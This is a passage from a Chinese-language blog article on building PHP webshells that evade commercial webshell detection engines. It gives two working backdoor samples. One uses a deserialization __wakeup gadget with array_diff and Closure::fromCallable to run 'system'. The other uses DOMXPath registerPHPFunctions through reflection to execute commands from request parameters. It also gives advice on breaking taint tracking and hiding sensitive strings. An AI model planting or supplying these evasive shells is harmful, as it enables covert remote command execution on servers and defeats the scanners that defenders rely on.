利用PHP的特性做免杀Webshell( 三 )


文章插图
 
牧云引擎检测结果如下:

利用PHP的特性做免杀Webshell

文章插图
 
样本3<?php//bypass 牧云 and TAV反病毒引擎+洋葱恶意代码检测引擎class A{public function __construct(){}public function __wakeup(){$b = $_GET[1];$result = array_diff(["s","a","b","ys","te","m"],["a","b"]);$a = join($result);Closure::fromCallable($a)->__invoke($_REQUEST[2]);}}@unserialize('O:1:"A":1:{s:10:" A comment";N;}');这个套了一层反序列化 , 隐藏污点汇集点的方法与样本一相同 , 利用数组差级构造system后利用原生类Closure的fromCallable函数
利用PHP的特性做免杀Webshell

文章插图
 
进行命令执行(在牧云中array_diff(["s","a","b","ys","te","m"],["a","b"]);这种方式会被check , 索性换成动态控制 , 这样也能打断污点追踪)
结果如下:
利用PHP的特性做免杀Webshell

文章插图
 

利用PHP的特性做免杀Webshell

文章插图
 

利用PHP的特性做免杀Webshell

文章插图
 
样本4<?php// dom and xml needed, install php-xml and leave php.ini as default.// Author:LemonPrefect$cmd = $_GET[3];$_REQUEST[1] = "//book[php:functionString('system', '$cmd') = 'PHP']";$_REQUEST[2] = ["php", "http://php.NET/xpath"];$xml = <<< XML<?xml version="1.0" encoding="UTF-8"?><books><book><title>We are the champions</title><author>LemonPrefect</author><author>H3h3QAQ</author></book></books>XML;$doc = new DOMDocument;$doc->loadXML($xml);$clazz = (new ReflectionClass("DOMXPath"));$instance = $clazz->newInstance($doc);$clazz->getMethod("registerNamespace")->getClosure($instance)->__invoke(...$_REQUEST[2]);$clazz->getMethod("registerPHPFunctions")->invoke($instance);$clazz->getMethod("query")->getClosure($instance)->__invoke($_REQUEST[1]);该样本需要一些条件 , 前提是开启了php-xml拓展才可以 , 其原理就是用XML去注册一个registerPHPFunctions , 也就是我们想要执行的system再利用getClosure去触发该方法而构成的webshell , 其中即利用到了PHP的特性 , 利用registerNamespace和registerPHPFunctions来中断污点追踪 , 从而RCE
结果如下:
利用PHP的特性做免杀Webshell

文章插图
 

利用PHP的特性做免杀Webshell

文章插图
 
0x05 总结在构造Webshell的时候 , 我们如果知道Webshell检测引擎原理 , 就知道如何去bypass了 , 对于怎样过掉Webshell引擎这件事 , 需要开动脑筋多去找一下PHP的文档 , 去找一下原生类和其他能够中断污点追踪的方法 , 让引擎跟踪不到你的行为 , 而且尽量不要让敏感字符串出现在代码本体 , 因为有的引擎还是有字符串的正则特征检测 , 同时也要学会分析 , 分析自己的Webshell到底哪里出的问题 , 从而找到更好的方法去替换 。


推荐阅读